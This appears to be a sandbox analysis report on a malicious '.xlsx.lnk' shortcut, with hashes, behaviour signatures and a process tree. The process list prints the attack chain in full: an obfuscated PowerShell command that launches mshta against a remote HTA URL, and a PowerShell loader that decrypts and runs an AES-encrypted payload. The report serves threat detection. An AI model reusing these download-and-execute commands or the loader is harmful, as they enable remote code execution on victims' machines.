Analysis
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max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
24-04-2024 04:44
Static task
static1
Behavioral task
behavioral1
Sample
FT. 40FE CNY .xlsx.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
FT. 40FE CNY .xlsx.lnk
Resource
win10v2004-20240226-en
General
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Target
FT. 40FE CNY .xlsx.lnk
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Size
2KB
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MD5
82fde340f187a517e0feced1d4972363
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SHA1
07740ba4e30a1dbc830451a0d05130ba1af28be9
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SHA256
e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
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SHA512
db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c
Malware Config
Extracted
https://www.sessosesso.it/assets/aw/yt.hta
Signatures
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Blocklisted process makes network request 4 IoCs
Processes:
mshta.exeflow pid process 5 2688 mshta.exe 7 2688 mshta.exe 8 2688 mshta.exe 9 2688 mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 2536 powershell.exe 2564 powershell.exe 2808 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2536 powershell.exe Token: SeDebugPrivilege 2564 powershell.exe Token: SeDebugPrivilege 2808 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exemshta.exepowershell.exedescription pid process target process PID 1760 wrote to memory of 2536 1760 cmd.exe powershell.exe PID 1760 wrote to memory of 2536 1760 cmd.exe powershell.exe PID 1760 wrote to memory of 2536 1760 cmd.exe powershell.exe PID 2536 wrote to memory of 2688 2536 powershell.exe mshta.exe PID 2536 wrote to memory of 2688 2536 powershell.exe mshta.exe PID 2536 wrote to memory of 2688 2536 powershell.exe mshta.exe PID 2688 wrote to memory of 2564 2688 mshta.exe powershell.exe PID 2688 wrote to memory of 2564 2688 mshta.exe powershell.exe PID 2688 wrote to memory of 2564 2688 mshta.exe powershell.exe PID 2564 wrote to memory of 2808 2564 powershell.exe powershell.exe PID 2564 wrote to memory of 2808 2564 powershell.exe powershell.exe PID 2564 wrote to memory of 2808 2564 powershell.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\FT. 40FE CNY .xlsx.lnk"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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C:\Users\Admin\AppData\Local\Temp\Tar87FC.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5c2c9f6a2dbc4eddf9950f41952265fd3
SHA1d95113cd0a48657713be46ad85285daa9d1b12f9
SHA2568055d236356f18bacc61c334a1f6ee75ebd5235148ff1b000dff416640ce9c01
SHA5121c0b5699045d015a81fe85e3a5ee30267fae81d539ded45ab7f85b5af5dfeddb4153ba5355b22cf9450a9296bb676214118a677ab1adbf35938a081731fe3b97
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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memory/2536-38-0x000000001B210000-0x000000001B4F2000-memory.dmpFilesize
2.9MB
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memory/2536-39-0x0000000001F30000-0x0000000001F38000-memory.dmpFilesize
32KB
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memory/2536-40-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
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memory/2536-41-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
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memory/2536-42-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
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memory/2536-44-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
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memory/2536-43-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
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memory/2536-45-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmpFilesize
9.6MB
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memory/2564-331-0x0000000002AD0000-0x0000000002B50000-memory.dmpFilesize
512KB
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memory/2564-330-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmpFilesize
9.6MB
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memory/2564-329-0x000000001B400000-0x000000001B6E2000-memory.dmpFilesize
2.9MB
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memory/2564-333-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmpFilesize
9.6MB
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memory/2564-334-0x0000000002AD0000-0x0000000002B50000-memory.dmpFilesize
512KB
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memory/2564-335-0x0000000002AD0000-0x0000000002B50000-memory.dmpFilesize
512KB
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memory/2564-336-0x0000000002AD0000-0x0000000002B50000-memory.dmpFilesize
512KB
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memory/2564-332-0x0000000001E60000-0x0000000001E68000-memory.dmpFilesize
32KB
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memory/2564-349-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmpFilesize
9.6MB
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memory/2808-342-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmpFilesize
9.6MB
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memory/2808-344-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmpFilesize
9.6MB
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memory/2808-346-0x0000000002760000-0x00000000027E0000-memory.dmpFilesize
512KB
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memory/2808-345-0x0000000002760000-0x00000000027E0000-memory.dmpFilesize
512KB
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memory/2808-347-0x0000000002760000-0x00000000027E0000-memory.dmpFilesize
512KB
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memory/2808-348-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmpFilesize
9.6MB
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memory/2808-343-0x0000000002760000-0x00000000027E0000-memory.dmpFilesize
512KB